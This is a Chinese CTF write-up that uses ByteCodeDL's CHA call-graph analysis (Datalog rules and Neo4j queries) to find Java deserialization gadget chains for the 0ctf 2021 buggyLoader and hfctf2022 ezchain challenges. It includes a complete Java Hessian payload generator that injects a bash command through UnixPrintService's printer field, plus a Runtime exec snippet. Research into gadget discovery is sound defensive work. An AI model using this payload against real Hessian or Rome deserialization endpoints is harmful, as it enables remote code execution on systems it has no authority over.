0%

ByteCodeDL应用篇之CHA在CTF中的应用

本文首发于跳跳糖

本文将分享如何用 ByteCodeDL 的 CHA 调用图分析功能,解决两个CTF题目。

buggyLoader 0ctf-2021-final

这是0ctf 2021 决赛的一道题目,NeSE和r3kapig解出了这个题目。题目地址见 https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2021-final/buggyLoader 。这道题的灵感来自Shiro环境下的CC链构造,准确的说来自zsx的这篇文章

难点在于反序列化时无法创建数组类型,导致InvokerTransformer 的字段iArgs只能为null,所以最终只能调用public 无参函数。常见的反序列化最后调用的函数有:

  1. JdbcRowSetImpl#getDatabaseMetaData() 和 JdbcRowSetImpl#getParameterMetaData 利用JNDI进行攻击
  2. TemplatesImpl#getOutputProperties()

但是上述两类在这个题目都不能用,由于不出网,第一种方式不能用,由于TemplatesImpl的_bytecodes字段为数组,所以第二种方式也不能用。

Orange在做强网杯那题的时候,最后使用了JRMP Client 这个payload,第一次反序列化时,发起RMI请求,然后在RMI处理响应的时候会再次触发反序列化,第二次反序列化就没有任何限制了。这种方式有两种局限,第一种是需要环境能外连,第二种是高版本的JDK下JRMP Client这个payload不能用了(具体的版本我忘了)。

如果这题能够外连,可以先调用JdbcRowSetImpl,利用JNDI发起一次RMI请求,在RMI处理响应时会再次触发反序列化,类似JRMP Client的效果,但是对JDK版本没有限制。

已知的套路都不能用了,这题该怎么做呢?重新找个能够造成危害的public 无参函数:可以直接执行命令/代码或者能够二次反序列化。

第一步我们先筛选出 public 无参函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "inputDeclaration.dl"
#include "utils.dl"


.decl NonParamPublicMethod(method:Method, class:Class)
.output NonParamPublicMethod

NonParamPublicMethod(method, class) :-
MethodInfo(method, simplename, _, class, _, _, arity),
// method 需要被pulic修饰
MethodModifier("public", method),
// 排除构造函数
simplename != "<init>",
// 参数数量为零
arity = 0,
// 类需要能可序列化
SubClass(class, "java.io.Serializable").

JDK中满足条件的一共10459条,如果一条条筛选下来还是比较困难的

我们再进一步做个限制,让这10459个初步满足条件的函数,作为入口函数,进行调用图分析,看一下5步之内,有没有可能调用到危险函数。
example/ctf-buggyLoader.dl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#define MAXSTEP 5

#include "inputDeclaration.dl"
#include "utils.dl"
#include "cha.dl"


.decl NonParamPublicMethod(method:Method, class:Class)
.output NonParamPublicMethod

// 通过class和函数名定义危险函数
.decl SinkDesc(simplename:symbol, class:Class)

// 加入常见的危险函数
SinkDesc("exec", "java.lang.Runtime").
SinkDesc("<init>", "java.lang.ProcessBuilder").
SinkDesc("start", "java.lang.ProcessImpl").
SinkDesc("loadClass", "java.lang.ClassLoader").
SinkDesc("defineClass", "java.lang.ClassLoader").
SinkDesc("readObject", "java.io.ObjectInputStream").
SinkDesc("readExternal", "java.io.ObjectInputStream").

// 定义具体的危险函数
.decl SinkMethod(method:Method)
.output SinkMethod

// 定义具体的危险函数
.decl EntryMethod(method:Method)

// 根据方法名和类名解析初具体的危险方法
// 子类中的同名方法也认为是危险函数
SinkMethod(method) :-
SinkDesc(simplename, class),
SubEqClass(subeqclass, class),
!ClassModifier("abstract", subeqclass),
MethodInfo(method, simplename, _, subeqclass, _, _, _).

// 将满足条件的无参函数作为入口方法
EntryMethod(method),
Reachable(method, 0),
NonParamPublicMethod(method, class) :-
MethodInfo(method, simplename, _, class, _, _, arity),
MethodModifier("public", method),
simplename != "<init>",
arity = 0,
SubClass(class, "java.io.Serializable").

// 调用图中节点
.decl CallNode(node:Method, label:symbol)
.output CallNode

// 不是入口节点和危险节点 标记为method
CallNode(node, "method") :-
!EntryMethod(node),
!SinkMethod(node),
Reachable(node, _).

// 危险节点标记为 sink
CallNode(node, "sink") :-
Reachable(node, _),
SinkMethod(node).

// 入口节点标记为entry
CallNode(node, "entry") :-
EntryMethod(node).

// 调用边
.decl CallEdge(caller:Method, callee:Method)
.output CallEdge

CallEdge(caller, callee) :-
CallGraph(_, caller, callee).

对于如何输入生成facts,如何执行souffle,参考ByteCodeDL文档

通过 bash importOutput2Neo4j.sh neoImportCall.sh dbname 导入到neo4j数据库

执行查询

1
MATCH p=(e:entry)-[*1..2]->(s:sink) where s.method contains "readObject"  RETURN p

长度为1-2的调用到readObject的路径

可以筛选出

1
<java.security.SignedObject: java.lang.Object getObject()>
1
<java.rmi.MarshalledObject: java.lang.Object get()>

但是这俩还是都需要数组字段,不满足我们的需求

对于排查不满足需求的,可以通过下面的方式删除节点,同时删除和这个节点相连的边

1
2
MATCH (m:method) where ID(m)=42186
DETACH DELETE m

长度为4的查询

1
MATCH p=(e:entry)-[*4]->(s:sink) where s.method contains "readObject"  RETURN p
1
MATCH p=(e:entry)-[*4]->(s:sink) where s.method contains "readObject" and ID(e)=57653  unwind nodes(p) as n return n.method

查询结果

1
2
3
4
5
<javax.management.remote.rmi.RMIConnector: void connect()>
<javax.management.remote.rmi.RMIConnector: void connect(java.util.Map)>
<javax.management.remote.rmi.RMIConnector: javax.management.remote.rmi.RMIServer findRMIServer(javax.management.remote.JMXServiceURL,java.util.Map)>
<javax.management.remote.rmi.RMIConnector: javax.management.remote.rmi.RMIServer findRMIServerJRMP(java.lang.String,java.util.Map,boolean)>
<java.io.ObjectInputStream: java.lang.Object readObject()>

大致的流程如下

rmiConnector.jmxServiceURL.urlPath -> base64 decode -> ByteArrayInputStream -> ObjectInputStream -> readObject

这个刚好满足我们的要求,最终的解法就是:
readOjbect -> … -> InvokerTransformer -> RMIConnector#connect() -> .. -> readObject -> 传统的 CC 链

ezchain hfctf2022

这是虎符CTF 2022年的一道题,bk和ty1310解出了这个题目。题目的环境见:https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain

这也是道反序列化的题,只不过换成了Hessian反序列化,也是内网环境,无法外连。给了Rome第三方库,Marshalsec中包含了这个链,不过最后调用的是JdbcRowSetImpl ,利用JNDI完成攻击。由于无法外连,所以这条路被堵死了。熟悉反序列化的同学,应该能想到可不可以换成TemplatesImpl , 经过调试之后发现也不行,因为Hessian在反序列化的时候不会调用readObject ,导致被transient 修饰的字段_tfactory一直为null,后续调用_tfactory.getExternalExtensionsMap()会触发空指针错误。

所以已公开的东西都用不了了,需要重新找链,通过分析之后Rome链一直能用到调用任意无参数的getter函数,所以我们只要再重新找个getter函数即可。和上题差不多,危险函数可以是能够执行命令/代码或者能够造成二次反序列化。

其实在上题中,我们已经找到了一个满足条件的getter函数,那就是

1
<java.security.SignedObject: java.lang.Object getObject()>

利用getObject可以造成二次反序列化,然后就可以使用ysoserial中的rome链了,这个解法是二血ty1310队伍提供的。

只要将ctf-buggyLoader.dl中的入口函数限制改一下,就可以用到这个题上

1
2
3
4
5
6
7
8
9
10
EntryMethod(method),
Reachable(method, 0),
NonParamPublicMethod(method, class) :-
MethodInfo(method, simplename, _, class, _, _, arity),
MethodModifier("public", method),
// 方法名包含get
contains("get", simplename),
// 无参数
arity = 0.
// hessian反序列化时不要求实现Serializable

如果按照这个版本的cha.dl 只能找到这个,这个我也已经验证可以用。payload我就不给了,大家可以参考UnixPrintServiceLookup进行构造。

1
2
3
4
<com.sun.corba.se.impl.activation.ServerManagerImpl: int[] getActiveServers()>
<com.sun.corba.se.impl.activation.ServerTableEntry: boolean isValid()>
<com.sun.corba.se.impl.activation.ServerTableEntry: void activate()>
<java.lang.Runtime: java.lang.Process exec(java.lang.String)>

但是并没有找到预期解,这个UnixPrintServiceLookup这个类,这是因为在构造调用图时没有考虑一种间接调用,调用可以简化成这种

1
2
3
4
5
6
7
caller(){
AccessController.doPrivileged(new PrivilegedExceptionAction() {
public Object run() throws IOException {
callee();
}
}
}

由于doPrivileged是native方法,无法进行后续的分析,这里就需要进行个特殊处理,认为caller可以直接调用这个run方法

1
2
3
4
5
6
7
8
CallGraph(insn, caller, method) :- 
Reachable(caller, n),
n < MAXSTEP,
StaticMethodInvocation(insn, _, method, caller),
MethodInfo(method, "doPrivileged", _, "java.security.AccessController", _, _, _),
ActualParam(0, insn, param),
VarType(param, type),
MethodInfo(callee, "run", _, type, _, _, 0).

改进之后的完整版本cha.dl

然后当长度为设置4的时候就可以查到了

image-20220505092630696

1
2
3
4
5
<sun.print.UnixPrintServiceLookup: javax.print.PrintService getDefaultPrintService()>
<sun.print.UnixPrintServiceLookup: java.lang.String getDefaultPrinterNameBSD()>
<sun.print.UnixPrintServiceLookup: java.lang.String[] execCmd(java.lang.String)>
<sun.print.UnixPrintServiceLookup$1: java.lang.Object run()>
<java.lang.Runtime: java.lang.Process exec(java.lang.String[])>

payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class Main {
public static void main(String[] args) throws Exception{
System.out.println("HFCTF2022".hashCode());
s = ":Y1\"nOJF-6A'>|r-";
System.out.println(s.hashCode());

String cmd = args[0];
String path = args[1];

FileOutputStream outputStream = new FileOutputStream(path);
Hessian2Output out = new Hessian2Output(outputStream);
SerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);

Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unix = unsafe.allocateInstance(UnixPrintService.class);
setFieldValue(unix, "printer", String.format(";bash -c '%s';", cmd));
setFieldValue(unix, "lpcStatusCom", new String[]{"ls", "ls", "ls"});
ToStringBean toStringBean = new ToStringBean(Class.forName("sun.print.UnixPrintService"), unix);
EqualsBean hashCodeTrigger = new EqualsBean(ToStringBean.class, toStringBean);

out.writeMapBegin("java.util.HashMap");
out.writeObject(hashCodeTrigger);
out.writeObject("value");
out.writeMapEnd();
out.close();
}

public static void setFieldValue(Object obj, String field, Object value){
try{
Class clazz = obj.getClass();
Field fld = clazz.getDeclaredField(field);
fld.setAccessible(true);
fld.set(obj, value);
}catch (Exception e){
e.printStackTrace();
}
}


public static class NoWriteReplaceSerializerFactory extends SerializerFactory {

/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
*/
@Override
public Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}


/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
*/
@Override
public Serializer getSerializer ( Class cl ) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);

if ( serializer instanceof WriteReplaceSerializer) {
return UnsafeSerializer.create(cl);
}
return serializer;
}
}
}

然后再通过命令盲注的方式,或者attach agent的方式获取flag。

赛后和选手交流的时候,Y4tacker问我下面payload 行不行?

1
2
3
Runtime runtime = Runtime.getRuntime();
Expression expression = new Expression(runtime, "exec", new Object[]{"open -na Calculator"});
expression.getValue();

通过调试发现最终确实能够调用到getVaue,但是getValue中,unbound是个static变量,反序列化时不可控,无法让value和unbound相等,我尝试用reference,发现只能reference已经反序列化好的对象。

1
2
3
4
5
6
public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());
}
return value;
}

所以getValue这个getter不能用在这里。

最后也发现一些问题,长度设置为6,在76880 nodes 1119478 relationships 的情况下就查不来了,不知道建立索引会不会好一点。

1
MATCH p=(e:entry)-[*6]->(s:sink) where s.method contains "exec"  RETURN p

对于如何提升ByteCodeDL的效率和精度后面再介绍。

CHA的优点一是快,二是不存在漏报,但是这也是他的缺点,存在大量的误报,实际测试下来发现需要排除的东西还挺多,仍有不少工作量,还有很大的提升空间。后面将尝试利用污点分析对该任务的精度进行提升。

reference